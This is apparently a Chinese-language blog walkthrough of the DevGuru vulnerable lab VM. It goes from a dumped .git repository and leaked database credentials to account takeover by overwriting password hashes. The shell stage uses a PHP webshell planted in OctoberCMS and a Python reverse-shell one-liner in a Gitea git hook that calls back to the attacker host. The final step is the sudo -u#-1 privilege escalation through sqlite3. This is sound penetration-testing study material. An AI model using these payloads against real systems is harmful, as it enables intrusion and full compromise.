DevGuru:利用GitTools获取git仓库内容


靶机下载地址

1.信息收集

端口扫描

靶机地址:192.168.56.101;kali地址:192.168.56.103。用nmap扫描靶机开放端口

开放端口:

  • 22:ssh OpenSSH 7.6p1

  • 80:http Apache httpd 2.4.29

  • 8585:tcp gitea git项目托管仓库

80端口:一个公司的网页,无发现。

8585端口:git项目仓库。根据nmap扫描结果,编辑/etc/hosts文件,把靶机的IP地址和域名devguru.local加入文件。

访问用户仓库http://devguru.local:8585/frank/devguru-website.git, 因为没有frank权限无法访问项目内容,目前只能访问其主页。

目录扫描

扫描到后台内容管理系统:http://192.168.56.101/backend, OctoberCMS,采用Laravel PHP框架。

2.提取git仓库获取账密信息

在之前nmap扫描的时候,发现了git仓库地址http://192.168.56.101:80/.git

使用GitTools中的gitdumper工具,将”./git”内容dump到kali,存在website文件夹中。

./gitdumper.sh  http://devguru.local/.git website/

dump完成之后,发现文件不可读,这时要用GitTools中的Extractor工具来还原不完整的仓库内容。

./extractor.sh ../website ./website

现在可以查看git仓库中的内容了,通过查找提取的文件,发现adminer.php文件。

访问adminer.php,这是一个PHP的mysql数据库登录页。

返回到仓库文件夹,查找到了database.php文件,这可能是数据库相关文件。

查看这个文件,发现了我们感兴趣的信息,还记得目录扫描出了名为October的CMS系统吗?这里很可能就是它的登录用户名和密码。

尝试登录OctoberCMS,然而失败了。看来不是October的账户,而是上一步adminer.php的数据库账户。

尝试登录adminer.php,登录成功!

因为目的是登录CMS,所以首先关注到backend_users表,查看表中内容,发现了账户和密码信息。

密码是经过加密的,用HashAnalyzer分析数据库存储密码用的是Bcrypt算法。

我们现在拥有数据库的admin权限,可以修改账户密码,所以将用户密码更改为已知密码的hash。例如“123456”的Bcrypt hash。

然后尝试用frank:123456登录CMS,登录成功!

3.CMS中植入恶意代码获取webshell

由于这个CMS只能保存htm文件,所以不能直接上次php反弹shell文件,但是可以通过修改htm文件,设置一个webshell来执行命令。

新建一个shell文件,添加该文件的code:

function onStart(){
    $this->page["myVar"] = shell_exec($_GET['cmd']);   
}

在Markup中加入代码调用:

{{ this.page.myVar }}

这时cmd作为webshell的参数,可以接收命令。

webshell下载反弹shell文件

利用webshell从主机上下载PHP的反弹shell文件

kali上启动python HTTP服务等待靶机下载:

webshell的wget命令下载shell.php文件到靶机。

在kali上监听端口等待回连,然后触发shell.php

反弹shell成功!此时是www-data用户权限。

4.提权到frank

利用python3转为bash终端

python3 -c "import pty;pty.spawn('/bin/bash')"

查看了/home文件夹,只有frank一个用户,目前不可访问。看来要先提权到frank用户再提权到root用户。

继续浏览系统文件,发现了/var/backups文件夹,这种备份文件要引起注意。

查看其中的app.ini.bak文件,正是靶机使用的gitea应用的配置文件。其中,又发现了数据库信息。

转到http://192.168.56.101/adminer.php, 登录!

查看user表,显示frank用户的密码和hash算法

与上文同样的原理,将密码替换成已知的密码。

现在登录8585端口的gitea应用

登录成功,现在可以查看frank的仓库页面了。

因为这是frank权限的文件,所以如果在这里得到反弹shell,那么获取的应该是frank权限。

进入到项目的Setting页,点击 Git Hooks > pre-receive > Hook Content,添加python反弹shell代码:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.103",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

但是要触发反弹shell代码,需要更新仓库,在点击提交的时候触发代码执行。

返回仓库页面,编辑README.md文件,随便在结尾添加几个空格,然后点击提交。

这时可以看到反弹shell成功!

此时账户为frank权限。还需要继续提权到root。

得到frank用户的flag。

5.提权到root

查看frank用户可以用root权限执行sqlite3,而sudo版本为1.8.21,这个版本的sudo是有漏洞的

exploit中的提权方法:

但是我们的程序不是/bin/bash,而是sqlite3,查阅sqlite3的特殊命令

因此用以下代码提权:

sudo -u#-1 sqlite3 /dev/null '.shell /bin/bash'

获取到root用户的flag

6.总结

这个靶机对我来说难度比较大,总结一下考察的知识点有:

  • GitTools的使用
  • 数据库的知识
  • 寻找可疑文件的能力
  • 熟悉cms和git的反弹shell利用(webshell,php reverse shell,python reverse shell)
  • sudo版本脆弱性提权

文章作者: Summer One
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Summer One !
  目录